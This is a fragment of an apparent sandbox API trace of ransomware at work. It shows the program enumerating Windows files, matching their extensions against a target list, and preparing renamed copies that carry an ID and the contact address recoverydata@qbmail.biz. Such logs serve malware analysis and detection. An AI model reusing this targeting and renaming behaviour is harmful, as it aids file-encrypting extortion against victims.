lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0100.927] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=2920) returned 1 [0100.927] CloseHandle (hObject=0x224) returned 1 [0100.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0100.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.927] lstrlenW (lpString=".doc") returned 4 [0100.927] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0100.927] lstrlenW (lpString=".docx") returned 5 [0100.927] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0100.927] lstrlenW (lpString=".pdf") returned 4 [0100.927] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0100.927] lstrlenW (lpString=".xls") returned 4 [0100.927] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0100.927] lstrlenW (lpString=".xlsx") returned 5 [0100.927] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0100.927] lstrlenW (lpString=".ppt") returned 4 [0100.927] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0100.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.928] lstrlenW (lpString=".zip") returned 4 [0100.928] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0100.928] lstrlenW (lpString=".rar") returned 4 [0100.928] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0100.928] lstrlenW (lpString=".bz2") returned 4 [0100.928] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0100.928] lstrlenW (lpString=".7z") returned 3 [0100.928] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0100.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.928] lstrlenW (lpString=".dbf") returned 4 [0100.928] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0100.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.928] lstrlenW (lpString=".1cd") returned 4 [0100.928] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0100.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.928] lstrlenW (lpString=".jpg") returned 4 [0100.928] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0100.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.928] lstrlenW (lpString=".doc") returned 4 [0100.928] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0100.928] lstrlenW (lpString=".docx") returned 5 [0100.928] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0100.928] lstrlenW (lpString=".pdf") returned 4 [0100.928] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0100.928] lstrlenW (lpString=".xls") returned 4 [0100.929] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0100.929] lstrlenW (lpString=".xlsx") returned 5 [0100.929] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0100.929] lstrlenW (lpString=".ppt") returned 4 [0100.929] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0100.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.929] lstrlenW (lpString=".zip") returned 4 [0100.929] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0100.929] lstrlenW (lpString=".rar") returned 4 [0100.929] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0100.929] lstrlenW (lpString=".bz2") returned 4 [0100.929] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0100.929] lstrlenW (lpString=".7z") returned 3 [0100.929] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0100.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.929] lstrlenW (lpString=".dbf") returned 4 [0100.929] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0100.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.929] lstrlenW (lpString=".1cd") returned 4 [0100.929] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0100.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0100.929] lstrlenW (lpString=".jpg") returned 4 [0100.929] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0100.929] lstrcmpiW (lpString1=".wmf", lpString2=".data") returned 1 [0100.930] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0100.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0100.930] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=7498) returned 1 [0100.930] CloseHandle (hObject=0x224) returned 1 [0100.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0100.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0100.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0100.930] lstrlenW (lpString=".doc") returned 4 [0100.930] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0100.930] lstrlenW (lpString=".docx") returned 5 [0100.930] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0100.930] lstrlenW (lpString=".pdf") returned 4 [0100.930] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0100.931] lstrlenW (lpString=".xls") returned 4 [0100.931] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0100.931] lstrlenW (lpString=".xlsx") returned 5 [0100.931] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0100.931] lstrlenW (lpString=".ppt") returned 4 [0100.931] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0100.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0100.931] lstrlenW (lpString=".zip") returned 4 [0100.931] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0100.931] lstrlenW (lpString=".rar") returned 4 [0100.931] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0100.931] lstrlenW (lpString=".bz2") returned 4 [0100.931] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0100.931] lstrlenW (lpString=".7z") returned 3 [0100.931] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0100.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0100.931] lstrlenW (lpString=".dbf") returned 4 [0100.931] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0100.950] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.951] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 10 os_tid = 0x7d0 [0073.976] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x635468 [0073.976] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x645470 [0073.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602380 [0073.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5ea390 [0073.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602398 [0073.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3550020 [0073.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023b0 [0073.978] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6023b0, Size=0x20) returned 0x6096d8 [0073.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6023b0 [0073.978] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6023b0, Size=0x20) returned 0x609700 [0073.978] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.978] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.979] Wow64DisableWow64FsRedirection (in: OldValue=0x2bcff58 | out: OldValue=0x2bcff58*=0x0) returned 1 [0073.979] lstrlenW (lpString="kernel32.dll") returned 12 [0073.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6096d8 | out: hHeap=0x5b0000) returned 1 [0073.979] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0073.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609700 | out: hHeap=0x5b0000) returned 1 [0073.979] Sleep (dwMilliseconds=0x64) [0074.190] lstrlenW (lpString="BCD") returned 3 [0074.190] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.190] lstrlenW (lpString=".doc") returned 4 [0074.190] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0074.190] lstrlenW (lpString=".docx") returned 5 [0074.190] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0074.191] lstrlenW (lpString=".pdf") returned 4 [0074.191] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString=".xls") returned 4 [0074.191] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString=".xlsx") returned 5 [0074.191] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0074.191] lstrlenW (lpString=".ppt") returned 4 [0074.191] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.191] lstrlenW (lpString=".zip") returned 4 [0074.191] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString=".rar") returned 4 [0074.191] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString=".bz2") returned 4 [0074.191] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString=".7z") returned 3 [0074.191] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0074.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.191] lstrlenW (lpString=".dbf") returned 4 [0074.191] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.191] lstrlenW (lpString=".1cd") returned 4 [0074.191] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.191] lstrlenW (lpString=".jpg") returned 4 [0074.191] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0074.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.191] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.192] lstrlenW (lpString=".doc") returned 4 [0074.192] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString=".docx") returned 5 [0074.192] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0074.192] lstrlenW (lpString=".pdf") returned 4 [0074.192] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString=".xls") returned 4 [0074.192] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString=".xlsx") returned 5 [0074.192] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0074.192] lstrlenW (lpString=".ppt") returned 4 [0074.192] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.192] lstrlenW (lpString=".zip") returned 4 [0074.192] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString=".rar") returned 4 [0074.192] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString=".bz2") returned 4 [0074.192] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString=".7z") returned 3 [0074.192] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0074.192] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.192] lstrlenW (lpString=".dbf") returned 4 [0074.192] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.192] lstrlenW (lpString=".1cd") returned 4 [0074.192] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0074.192] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0074.192] lstrlenW (lpString=".jpg") returned 4 [0074.192] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0074.193] lstrcmpiW (lpString1=".LOG1", lpString2=".data") returned 1 [0074.193] lstrlenW (lpString="BCD.LOG1") returned 8 [0074.193] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.193] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=0) returned 1 [0074.193] CloseHandle (hObject=0x17c) returned 1 [0074.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.194] lstrlenW (lpString=".doc") returned 4 [0074.194] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString=".docx") returned 5 [0074.194] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0074.194] lstrlenW (lpString=".pdf") returned 4 [0074.194] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString=".xls") returned 4 [0074.194] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString=".xlsx") returned 5 [0074.194] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0074.194] lstrlenW (lpString=".ppt") returned 4 [0074.194] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.194] lstrlenW (lpString=".zip") returned 4 [0074.194] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString=".rar") returned 4 [0074.194] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString=".bz2") returned 4 [0074.194] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString=".7z") returned 3 [0074.194] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0074.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.194] lstrlenW (lpString=".dbf") returned 4 [0074.194] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0074.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.195] lstrlenW (lpString=".1cd") returned 4 [0074.195] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0074.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.195] lstrlenW (lpString=".jpg") returned 4 [0074.195] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0074.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.195] lstrlenW (lpString=".doc") returned 4 [0074.195] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0074.195] lstrlenW (lpString=".docx") returned 5 [0074.195] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0074.195] lstrlenW (lpString=".pdf") returned 4 [0074.195] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0074.195] lstrlenW (lpString=".xls") returned 4 [0074.195] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0074.195] lstrlenW (lpString=".xlsx") returned 5 [0074.195] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0074.195] lstrlenW (lpString=".ppt") returned 4 [0074.195] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0074.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.195] lstrlenW (lpString=".zip") returned 4 [0074.195] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0074.195] lstrlenW (lpString=".rar") returned 4 [0074.195] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0074.196] lstrlenW (lpString=".bz2") returned 4 [0074.196] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0074.196] lstrlenW (lpString=".7z") returned 3 [0074.196] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0074.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.196] lstrlenW (lpString=".dbf") returned 4 [0074.196] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0074.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.196] lstrlenW (lpString=".1cd") returned 4 [0074.196] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0074.196] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0074.196] lstrlenW (lpString=".jpg") returned 4 [0074.196] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0074.196] lstrcmpiW (lpString1=".LOG2", lpString2=".data") returned 1 [0074.196] lstrlenW (lpString="BCD.LOG2") returned 8 [0074.196] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.197] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=0) returned 1 [0074.197] CloseHandle (hObject=0x17c) returned 1 [0074.197] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.197] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.197] lstrlenW (lpString=".doc") returned 4 [0074.197] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0074.197] lstrlenW (lpString=".docx") returned 5 [0074.197] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0074.197] lstrlenW (lpString=".pdf") returned 4 [0074.197] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0074.197] lstrlenW (lpString=".xls") returned 4 [0074.197] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0074.197] lstrlenW (lpString=".xlsx") returned 5 [0074.197] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0074.197] lstrlenW (lpString=".ppt") returned 4 [0074.197] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0074.197] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.197] lstrlenW (lpString=".zip") returned 4 [0074.197] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0074.198] lstrlenW (lpString=".rar") returned 4 [0074.198] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0074.198] lstrlenW (lpString=".bz2") returned 4 [0074.198] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0074.198] lstrlenW (lpString=".7z") returned 3 [0074.198] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0074.198] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.198] lstrlenW (lpString=".dbf") returned 4 [0074.198] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0074.198] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.198] lstrlenW (lpString=".1cd") returned 4 [0074.198] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0074.198] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.198] lstrlenW (lpString=".jpg") returned 4 [0074.198] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0074.198] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.198] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.198] lstrlenW (lpString=".doc") returned 4 [0074.198] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0074.198] lstrlenW (lpString=".docx") returned 5 [0074.198] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0074.198] lstrlenW (lpString=".pdf") returned 4 [0074.199] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString=".xls") returned 4 [0074.199] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString=".xlsx") returned 5 [0074.199] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0074.199] lstrlenW (lpString=".ppt") returned 4 [0074.199] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.199] lstrlenW (lpString=".zip") returned 4 [0074.199] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString=".rar") returned 4 [0074.199] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString=".bz2") returned 4 [0074.199] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString=".7z") returned 3 [0074.199] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0074.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.199] lstrlenW (lpString=".dbf") returned 4 [0074.199] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.199] lstrlenW (lpString=".1cd") returned 4 [0074.199] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0074.199] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0074.199] lstrlenW (lpString=".jpg") returned 4 [0074.199] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0074.200] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.200] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.200] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0074.200] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2bcff1c | out: lpFileSize=0x2bcff1c*=89168) returned 1 [0074.200] CloseHandle (hObject=0x17c) returned 1 [0074.200] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0074.200] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.201] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.201] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.201] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0074.201] lstrlenW (lpString=".doc") returned 4 [0074.201] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.201] lstrlenW (lpString=".docx") returned 5 [0074.201] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.201] lstrlenW (lpString=".pdf") returned 4 [0074.201] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.201] lstrlenW (lpString=".xls") returned 4 [0074.201] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.201] lstrlenW (lpString=".xlsx") returned 5 [0074.201] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.202] lstrlenW (lpString=".ppt") returned 4 [0074.202] lstrcmpiW 